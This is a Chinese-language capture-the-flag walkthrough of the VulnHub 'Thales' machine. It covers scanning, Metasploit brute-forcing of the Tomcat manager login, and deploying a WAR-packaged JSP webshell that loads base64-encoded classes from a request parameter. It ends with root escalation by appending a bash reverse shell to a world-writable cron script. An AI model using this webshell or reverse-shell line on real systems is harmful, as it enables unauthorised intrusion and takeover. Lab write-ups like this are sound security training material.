基本信息

靶机下载:https://download.vulnhub.com/thales/Thales.zip

攻击机器:192.168.20.128(Windows操作系统)& 192.168.20.138(kali)

提示信息:睁开你的眼睛,改变你的视角

靶机:192.168.20.0/24

目标:获取2个flag+root权限

具体流程

信息收集

老样子首先使用arp-scan -l对主机进行探活,发现主机IP为192.168.20.147

image-20241022180741141

之后对开放的端口进行扫描,执行nmap -O -sV -p- -A 192.168.20.147,结果如下所示

image-20241022181107260

开放了8080端口和22端口,其中8080端口是其http服务,我们尝试着访问8080端口,如下所示

image-20241022200923402

这是一个Tomcat服务,我们知道的是Tomcat曾经爆出过很多漏洞,我们首先先用漏洞扫描工具去探测一下

image-20241022203030422

首先不存在我们常见的PUT上传漏洞,我们再尝试爆破弱口令,我们这里采用msf进行漏洞检索,首先我们先搜索和tomcat登录有关的漏洞search tomcat login

image-20241022204027471

之后我们选择use 0,之后就可以开始爆破密码了

image-20241022204533750

这里成功登录进去了,账号密码是tomcat:role1,我们尝试在web端进行登录,结果如下

image-20241022204927709

获取shell权限

我们首先构造一个jsp文件,命名为shell.jsp,内容如下所示

<%!
class U extends ClassLoader {
U(ClassLoader c){
super(c);
}
public Class g(byte[] b){
return super.defineClass(b,0,b.length);
}
}
public byte[] base64Decode(String str) throws Exception{
try{
Class clazz =Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer",String.class).invoke(clazz.newInstance(),str);
}catch (Exception e){
Class clazz =Class.forName("java.util.Base64");
Object decoder =clazz.getMethod("getDecoder").invoke(null);
return(byte[])decoder.getClass().getMethod("decode",String.class).invoke(decoder,str);
}
}
%>
<%
String cls =request.getParameter("cmd");
if(cls != null){
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>

我们再把这个文件压缩为war格式,我们直接cmd运行jar -cvf shell.war *即可生成我们需要的war文件,我们直接上传该文件,由于服务器上已经有该文件,所以这里我们将其改名为tomcatshell.war再上传即可

image-20241022232228772

点击启动后再次访问即可,如果可以访问就说明没问题

image-20241022232402300

可以访问,我们直接蚁剑连接,然后反弹shell

image-20241022232603927

image-20241022232939812

image-20241022232949356

成功将shell权限反弹到我们的kali上,接下来就是进行权限的提升

权限提升

我们首先在当前目录下执行sudo -l,但是没办法直接执行,需要输入当前用户的密码,而且tomcat用户下也并未发现什么有价值的信息,我们只能切换到其他用户目录下看看有没有什么信息。

image-20241022234159845

其中发现了一个user.txt和一个notes.txt,其中user.txt没有权限打开,但是notes.txt可以被打开,里面告诉了我们一个后门可执行文件,我们先去查看一下这个可执行文件的内容

image-20241023101106071

这个脚本给了我们两个关键信息,一个是需要备份的文件路径是/opt/tomcat/,备份文件存放的路径是/var/backups,而且这是一个定时任务,我们先来查看一下文件权限

ls -la /usr/local/bin/backup.sh

我们可以发现这个文件属于root用户,而且所有用户都具有写入权限,我们试着写入反弹shell语句,如果能够成功执行,我们就可以拿到root权限,我们在文件中写入如下语句

echo "bash -c 'bash -i >& /dev/tcp/192.168.20.138/9002 0>&1'" >> backup.sh

1a3e55afebfa9423d1537d3925b49d27

我们已经成功写入进去,我们试着执行这个文件

image-20241023103641196

虽然这里提示失败,但是我们的kali已经成功接收到shell权限

image-20241023103714901

成功拿到root.txt文件

3a1c85bebf8833b0ecae900fb8598b17

我们再去找user.txt文件

image-20241023103856239

a837c0b5d2a8a07225fd9905f5a0e9c4

总结

  1. tomcat弱密码爆破以及任意文件上传漏洞
  2. 后门脚本权限配置错误导致获得权限